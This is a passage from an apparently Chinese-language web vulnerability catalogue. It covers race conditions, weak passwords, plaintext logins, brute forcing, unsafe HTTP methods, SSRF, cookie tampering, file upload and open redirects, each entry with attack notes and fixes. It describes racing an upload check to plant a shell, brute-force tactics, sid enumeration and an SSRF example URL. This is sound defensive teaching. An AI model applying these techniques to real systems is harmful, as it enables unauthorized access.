• 由于多线程访问，数据库update一次的时间内update了多次，导致数据出现错误，（比如说，在开通账号到扣款的这段时间内，在第一次开通账号的时候，会update一次数据库，更新账号余额，而在update更新余额的这段时间内，由于是多线程大量并发开通，而此时update这个动作并没有进行锁操作，导致后续的这段时间内，一次update余额的操作却连带了多个账号开通状态的更新，相当于后续一段时间内，账号是免费开通的）这在银行、电商等有支付的地方影响是巨大的。

• 上传文件也是同理：
  • 简单解释一下，首先将文件上传到服务器，然后检测文件后缀名，如果不符合条件，就删掉，典型的“引狼入室”。
  • 当然这个文件会被立马删掉，所以我们使用多线程并发的访问上传的文件，总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件，一旦我们成功访问到了上传的文件，那么它就会向服务器写一个shell（可用于木马攻击）。
  • 防御策略：
    • 对于数据库的操作，正确的方法是设置锁；
    • 对于文件上传，一定要经过充分完整的检查之后再上传；
    • 在操作系统的角度，共享数据要进行上锁保护。

36、弱口令

• 漏洞危害描述：由于系统中存在有弱口令，导致攻击者通过弱口令可轻松登录系统中，从而进行下一步的攻击，如上传webshell，获取敏感数据！另外攻击者利用弱口令登录网站管理后台，可任意增删改等操作，从而造成负面影响！（存在暴力破解）
• 修复建议：
  1. 建议强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的组成策略；
  2. 完善密码策略，信息安全最佳实践的密码策略为8位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少3种。
  3. 对管理后台进行访问控制（比如只能内网访问或者只能某些特定的网段访问），修改后台弱口令，加强口令强度并定期修改。
  4. 增加验证机制，防爆破机制（比如验证码），使之登录失败一次，验证码变换一次。 限制ip＋cookie访问次数。
  5. 同一用户如果 10 分钟内登录失败 6 次，禁用此用户登录 2 小时。

37、明文传输登录口令

• 漏洞危害描述：用户登录过程中使用明文传输用户登录信息，若用户遭受中间人攻击时，攻击者可直接获取该用户登录账户，从而进行进一步渗透。
• 修复建议：
  1. 用户登录信息使用加密传输，如密码在传输前使用安全的算法加密后传输，可采用的算法包括：不可逆hash算法加密（4位及以上随机数，由服务器端产生）；安全对称加密算法，如AES(128、192、256位)，且必须保证客户端密钥安全，不可被破解或读出；非对称加密算法，如RSA(不低于1024位)、SM2等。（应用层加密）
  2. 使用https来保证传输的安全。（传输层加密）

38、暴力破解

• 漏洞危害描述：由于没有对登录页面进行相关的防暴力破解机制，如无验证码、有验证码但验证码未在服务器端校验以及无登录错误次数限制等，导致攻击者可通过暴力破解获取用户登录账户及口令，从而获取网站登录访问权限！
• 攻击方法：
  • 在输入框输入不同的错误内容，看返回的错误信息是否一致；比如，输入错误的用户名和密码，或者手机号和密码，若返回两种不同的错误信息（用户名不存在、用户名或密码错误；手机号不存在，手机号或密码错误，说明此处的用户名和手机号存在暴力破解的漏洞。或者是在输入验证码时，只是提示验证码错误，而没有错误次数的限制，说明此处验证码存在暴力破解的漏洞。暴力破解成功，会返回200状态码）
  • 爆破时，先根据爆破目标，找目标的变化规律，然后依据规律，设计爆破字典，进行爆破。判断是否爆破成功，除了观察状态码外，也可应观察响应内容的长度，若某个响应的内容长度与其他的响应内容长度相差很大，则很有可能这个响应就是我们要找的爆破成功的响应。
• 修复建议：
  • 添加验证码机制，加入图片（验证码动态生成且满足随机性）或者短信验证码（验证码具备超时时限一般为1分钟，且在该时限内错误次数超过3次则进行锁定1分钟后方能重新获取验证码，超时后验证码自动失效）！
  • 验证码必须在服务器端进行校验，客户端的一切校验都是不安全的！（若在客户端校验，则可以通过burpsuite拦包，修改客户端的校验结果，从而绕过验证码。）

39、目标服务器启用了不安全HTTP方法

• 漏洞危害描述：目标服务器启用了不安全的传输方法，如PUT、TRACE、DELETE、MOVE等，这些方法表示可能在服务器上使用了 WebDAV，由于dav方法允许客户端操纵服务器上的文件，如上传、修改、删除相关文件等危险操作，如果没有合理配置dav，有可能允许未授权的用户对其进行利用，修改服务器上的文件。
• 修复建议：
  • 关闭不安全的传输方法，推荐只使用POST、GET方法！
  • 如果服务器不需要支持 WebDAV，请务必禁用它。或者为允许webdav的目录配置严格的访问权限，如认证方法，认证需要的用户名，密码。

40、SSRF漏洞

• 攻击方法：

---

http://xx.map.xx.com/maps/services/thumbnails?width=215&height=145&quality=120&align=middle,middle&src=http://96.xx.191.14:8081
这里为用xx.map.xx.com服务器内再次发起请求去访问96.xx.191.14服务器，攻击目标为内网的96.xx.191.14服务器。

41、Cookie&session攻击

• 攻击方法：修改cookie中的某个参数可以登录其他用户。例如，修改cookie中的sid值，即可登录任意用户账号。这样的话，就可以通过遍历，找到一个官方管理的sid利用来登录。
• 修复建议：
  • 增强对cookie的验证机制。

42、任意文件上传

• 漏洞危害描述：文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严或webserver相关解析漏洞未修复而造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过 Web 访问的目录上传任意文件，包括网站后门文件（webshell），进而远程控制网站服务器。
• 攻击者可通过此漏洞上传恶意脚本文件，对服务器的正常运行造成安全威胁！
• 修复建议：
  1. 对上传文件类型进行限制，并且不能只做前端的限制，而要前端和后端一起限制，后端可以进行扩展名检测，重命名文件，MIME类型检测以及限制上传文件的大小，或是将上传的文件放在安全的路径下，尽量放于webserver之外的远程服务器等。
  2. 严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell攻击。
  3. 对上传文件格式进行严格校验及安全扫描，防止上传恶意脚本文件；
  4. 设置权限限制，禁止上传目录的执行权限；
  5. 严格限制可上传的文件类型；
  6. 严格限制上传的文件路径；
  7. 文件扩展名服务端白名单校验；
  8. 文件内容服务端校验；
  9. 上传文件重命名；
  10. 隐藏上传文件路径。

43、URL 跳转漏洞

• 漏洞危害描述：Web 程序直接跳转到参数中的 URL ，或页面引入任意的开发者 URL，被攻击者利用可实施钓鱼攻击等操作。
• 修复建议：
  • 在控制页面转向的地方校验传入的URL是否为可信域名。

待续……………………